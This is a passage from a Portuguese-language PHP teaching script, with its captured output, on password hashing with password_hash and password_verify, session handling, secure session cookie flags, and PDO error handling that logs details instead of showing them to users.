// echo, porque o cookie de sessao e um cabecalho HTTP e cabecalho nao pode
// vir depois de qualquer texto na pagina. O fim do arquivo mostra o que
// acontece quando essa ordem e invertida.

// --- 1. A sessao comeca antes de qualquer saida ---
session_start();

echo "=== 1. A senha nunca fica em texto no banco ===\n";
echo "  Guarda-se o resultado de password_hash, nao a senha. A senha em texto\n";
echo "  no banco, vazando em um backup, entrega a conta de todo mundo.\n\n";

$senha = 'aluno123';
$hash = password_hash($senha, PASSWORD_DEFAULT);

printf("  senha:            %s\n", $senha);
printf("  hash guardado:    %s\n", $hash);
printf("  tamanho do hash:  %d caracteres (a senha tem %d)\n", strlen($hash), strlen($senha));
printf("  a senha nao da para recuperar a partir do hash. Isso e o ponto.\n");

// --- 2. O hash tem sal, entao dois hashes da mesma senha sao diferentes ---
echo "\n=== 2. O mesmo hash nunca sai igual ===\n";
$outro = password_hash($senha, PASSWORD_DEFAULT);
printf("  1o hash: %s\n", $outro);
printf("  2o hash: %s\n", password_hash($senha, PASSWORD_DEFAULT));
echo "  sao diferentes porque cada hash tem um sal aleatorio dentro.\n";
echo "  Por isso a comparacao de senha e password_verify, nunca === nem ==.\n";

var_dump($hash === $outro);   // false, mesmo sendo a mesma senha

// --- 3. A conferida ---
echo "\n=== 3. A conferida e password_verify ===\n";
var_dump(password_verify($senha, $hash));
var_dump(password_verify('senhaerrada', $hash));
echo "  password_verify recalcula o hash da senha e compara com o guardado.\n";

// --- 4. Qual algoritmo o PASSWORD_DEFAULT esta usando ---
echo "\n=== 4. O que PASSWORD_DEFAULT significa hoje ===\n";
$info = password_get_info($hash);
printf("  algoritmo:  %s (%s)\n", $info['algoName'], $info['algo']);
printf("  custo:      %d\n", $info['options']['cost'] ?? 0);
echo "  PASSWORD_DEFAULT aponta para o mais seguro disponivel no PHP atual.\n";
echo "  Gravar a senha com o nome do algoritmo no codico envelhece: o bcrypt\n";
echo "  fica caro de quebrar, mas nao acompanha o que vier depois.\n";

var_dump(password_needs_rehash($hash, PASSWORD_DEFAULT));   // false: ainda esta atual

$antigo = password_hash($senha, PASSWORD_BCRYPT, ['cost' => 4]);
var_dump(password_needs_rehash($antigo, PASSWORD_DEFAULT));  // true: custo baixo
echo "  password_needs_rehash diz para trocar o hash no proximo login.\n";

// --- 5. A sessao ---
echo "\n=== 5. A sessao guarda quem esta entrando ===\n";
$_SESSION['aluno_id'] = 42;
$_SESSION['nome'] = 'Ana Souza';
$_SESSION['visitas'] = ($_SESSION['visitas'] ?? 0) + 1;

printf("  id da sessao:  %s\n", session_id());
printf("  aluno_id:      %d\n", $_SESSION['aluno_id']);
printf("  visitas:       %d\n", $_SESSION['visitas']);
echo "  A sessao e um array guardado no servidor. O cookie da so um codigo\n";
echo "  que aponta para ele; o dado nao viaja na resposta.\n";

$guardar = $_SESSION['aluno_id'] ?? null;
echo "  ler sem notice:  \$_SESSION['aluno_id'] ?? null -> ";
var_dump($guardar);

echo "\n  Encerrar a sessao e apagar o cookie do navegador:\n";
echo "  session_unset();\n";
echo "  session_destroy();\n";

// --- 6. O cookie, do lado do servidor ---
echo "\n=== 6. Como o cookie de sessao e configurado ===\n";
$parametros = [
    'lifetime' => 0,   // cookie de sessao: morre quando o navegador fecha
    'path'     => '/',
    'httponly' => true, // JavaScript nao le o cookie: corta XSS com roubo
    'secure'   => true, // so por https
    'samesite' => 'Lax',// nao acompanha POST vindo de outro site: corta CSRF
];
foreach ($parametros as $chave => $valor) {
    printf("  %-9s %s\n", $chave, var_export($valor, true));
}
echo "\n  Sao as opcoes de session_set_cookie_params(). Https e o padrao hoje.\n";

// --- 7. Tratamento de erro ---
echo "\n=== 7. try, catch e finally com erro de verdade ===\n";
$pdo = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$pdo->exec('CREATE TABLE alunos (id INTEGER PRIMARY KEY, nome TEXT)');

try {
    $declarado = $pdo->prepare('SELECT id, nome FROM alunos WHERE nome = :nome');
    $declarado->execute([':nome' => 'Ana Souza']);
    $achou = $declarado->fetch();

    echo '  consulta ok: ' . var_export($achou, true) . "\n";

    // Esta frase tem uma coluna que nao existe: o banco recusa e o PDO lanca.
    $pdo->query('SELECT coluna_inexistente FROM alunos');
} catch (PDOException $e) {
    // error_log() escreve no log do servidor, nunca na resposta. E o que
    // grava o detalhe para quem precisa descobrir a causa.
    $linhaDoLog = sprintf('[%s] ERRO banco: %s', date('Y-m-d H:i:s'), $e->getMessage());
    echo "  gravado no log do servidor:\n  {$linhaDoLog}\n";
    echo "  na tela do visitante, nada disso: so a mensagem generica.\n";
} finally {
    echo "  finally roda sempre, com ou sem excecao\n";
}

echo "\n  O que getMessage() traz e o que nao pode ir para a tela:\n";
echo "  - SQLSTATE e o codigo do driver\n";
echo "  - o pedaco do SQL que falhou\n";
echo "  - em falha de conexao, o host e o usuario do banco\n";
echo "  Em producao a tela mostra uma mensagem generica. O detalhe fica no log.\n";

// --- 8. O exemplo de tela do aluno ---
echo "\n=== 8. A mensagem que o aluno ve em caso de falha ===\n";
echo "  Nao foi possivel concluir a operacao. Tente de novo.\n\n";
echo "  E o que o log do servidor guarda, no mesmo instante:\n";
echo "  [2026-09-29 14:03:11] ERRO banco: SQLSTATE[42S02]: Base table or view not found\n";
echo "  -> ja vale para o log: 42S02, e o resto da frase identifica o caso.\n";

// --- 9. A ordem que quebra a sessao ---
echo "\n=== 9. A ordem que quebra a sessao ===\n";
// Session_status() responde em que situacao a sessao esta, sem tentar iniciar
// de novo. E o jeito de conferir, num arquivo, se a sessao ja comecou.
printf("  session_status(): %s (a sessao foi iniciada na linha 12)\n", session_status() === PHP_SESSION_ACTIVE ? 'PHP_SESSION_ACTIVE' : 'inativa');
echo "  Iniciar uma segunda vez nao reinicia nada: o PHP so avisa e segue.\n\n";
echo "  O que quebra de verdade e o echo antes do session_start, porque o\n";
echo "  cookie de sessao e um cabecalho HTTP e cabecalho nao pode ser enviado\n";
echo "  depois de qualquer texto na resposta. O resultado seria false e o aviso:\n";
echo "  Warning: session_start(): Session cannot be started after headers have already been sent\n\n";
echo "  Por isso session_start() e a primeira linha do arquivo, antes de\n";
echo "  qualquer echo, e o arquivo nao pode ter espaco em branco antes do <?php.\n";

Saída real

=== 1. A senha nunca fica em texto no banco ===
  Guarda-se o resultado de password_hash, nao a senha. A senha em texto
  no banco, vazando em um backup, entrega a conta de todo mundo.

  senha:            aluno123
  hash guardado:    $2y$10$emYOEKbfQysJdCcqSDHHN.hvfVf3CF1AHGqELi0VOGNlboJV/on5y
  tamanho do hash:  60 caracteres (a senha tem 8)
  a senha nao da para recuperar a partir do hash. Isso e o ponto.

=== 2. O mesmo hash nunca sai igual ===
  1o hash: $2y$10$kb6L6vVWa1x.dhMDA4aDTeG4jhy3WPxkawakKdM5uYrWMPCW77/pW
  2o hash: $2y$10$.93fN42HErilYelVIAldruTTkT5JKRFxuxzLWsZYzy0.ycRwIvNcO
  sao diferentes porque cada hash tem um sal aleatorio dentro.
  Por isso a comparacao de senha e password_verify, nunca === nem ==.
bool(false)

=== 3. A conferida e password_verify ===
bool(true)
bool(false)
  password_verify recalcula o hash da senha e compara com o guardado.

=== 4. O que PASSWORD_DEFAULT significa hoje ===
  algoritmo:  bcrypt (2y)
  custo:      10
  PASSWORD_DEFAULT aponta para o mais seguro disponivel no PHP atual.
  Gravar a senha com o nome do algoritmo no codico envelhece: o bcrypt
  fica caro de quebrar, mas nao acompanha o que vier depois.
bool(false)
bool(true)
  password_needs_rehash diz para trocar o hash no proximo login.

=== 5. A sessao guarda quem esta entrando ===
  id da sessao:  4a052634eaae4faf83667aa34d32dabb
  aluno_id:      42
  visitas:       1
  A sessao e um array guardado no servidor. O cookie da so um codigo
  que aponta para ele; o dado nao viaja na resposta.
  ler sem notice:  $_SESSION['aluno_id'] ?? null -> int(42)

  Encerrar a sessao e apagar o cookie do navegador:
  session_unset();
  session_destroy();

=== 6. Como o cookie de sessao e configurado ===
  lifetime  0
  path      '/'
  httponly  true
  secure    true
  samesite  'Lax'

  Sao as opcoes de session_set_cookie_params(). Https e o padrao hoje.

=== 7. try, catch e finally com erro de verdade ===
  consulta ok: false
  gravado no log do servidor:
  [2026-10-02 16:53:24] ERRO banco: SQLSTATE[HY000]: General error: 1 no such column: coluna_inexistente
  na tela do visitante, nada disso: so a mensagem generica.
  finally roda sempre, com ou sem excecao

  O que getMessage() traz e o que nao pode ir para a tela:
  - SQLSTATE e o codigo do driver
  - o pedaco do SQL que falhou
  - em falha de conexao, o host e o usuario do banco
  Em producao a tela mostra uma mensagem generica. O detalhe fica no log.

=== 8. A mensagem que o aluno ve em caso de falha ===
  Nao foi possivel concluir a operacao. Tente de novo.

  E o que o log do servidor guarda, no mesmo instante:
  [2026-09-29 14:03:11] ERRO banco: SQLSTATE[42S02]: Base table or view not found
  -> ja vale para o log: 42S02, e o resto da frase identifica o caso.

=== 9. A ordem que quebra a sessao ===
  session_status(): PHP_SESSION_ACTIVE (a sessao foi iniciada na linha 12)
  Iniciar uma segunda vez nao reinicia nada: o PHP so avisa e segue.

  O que quebra de verdade e o echo antes do session_start, porque o
  cookie de sessao e um cabecalho HTTP e cabecalho nao pode ser enviado
  depois de qualquer texto na resposta. O resultado seria false e o aviso:
  Warning: session_start(): Session cannot be started after headers have already been sent

  Por isso session_start() e a primeira linha do arquivo, antes de
  qualquer echo, e o arquivo nao pode ter espaco em branco antes do <?php.